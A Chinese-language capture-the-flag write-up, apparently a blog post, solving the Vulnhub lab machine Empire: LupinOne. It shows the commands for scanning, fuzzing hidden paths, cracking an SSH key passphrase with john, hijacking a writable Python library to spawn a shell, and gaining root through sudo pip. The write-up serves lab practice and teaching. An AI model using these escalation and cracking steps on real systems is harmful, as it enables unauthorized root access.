Empire-LupinOne
本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE
Description
Difficulty: Medium
This box was created to be medium, but it can be hard if you get lost.
CTF like box. You have to enumerate as much as you can.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
扫描与发现
利用arp-scan -l命令扫描靶机IP
arp-scan -l
利用nmap扫描开放端口
map -sS -sV -A -p- 192.168.75.164
目标探索
浏览器打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息
检查robots.txt文件发现/~myfiles目录,打开却发现Error 404
在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz工具对其路径进行测试,发现~secret目录
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.75.164/~FUZZ
在浏览器中打开该路径~secret发现一段文字
上面称这是一个秘密目录,这里隐藏了他创建的ssh私钥文件,并且得知用户名为icex64
接下来继续在该路径下搜索文件,得到.mysecret.txt文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.75.164/~secret/.FUZZ.txt
浏览器打开发现是一串编码后的字符串
使用在线网站识别算法,发现其为Base58
在线识别网站:https://www.dcode.fr/cipher-identifier
使用工具进行解码得到私钥文件内容
漏洞利用
在本地创建文件key,将私钥保存到其中
再用john生成密码本
python2 /usr/share/john/ssh2john.py key > keyhash
按照提示我们用fasttrack进行爆破
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt
得到密码为P@55w0rd!
将key文件权限设为600(否则无法连接),然后利用ssh连接icex64用户
chmod 600 key
ssh icex64@192.168.75.164 -i key
得到第一个flag
提权
sudo -l
来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()
我们通过find找到该文件的位置,查看其权限,发现可以写入内容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)
cd /usr/lib/python3.9/
echo import os >webbrowser.py
echo 'os.system("/bin/bash")' >> webbrowser.py
获得arsene用户shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
拿到arsene用户权限后,查看sudo -l,发现可以免密执行/usr/bin/pip
sudo -l
在GTFOBins搜索pip提权相关命令
Link:https://gtfobins.github.io/
输入以下命令进行提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
来到root目录下,打开root.txt拿到flag
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18173077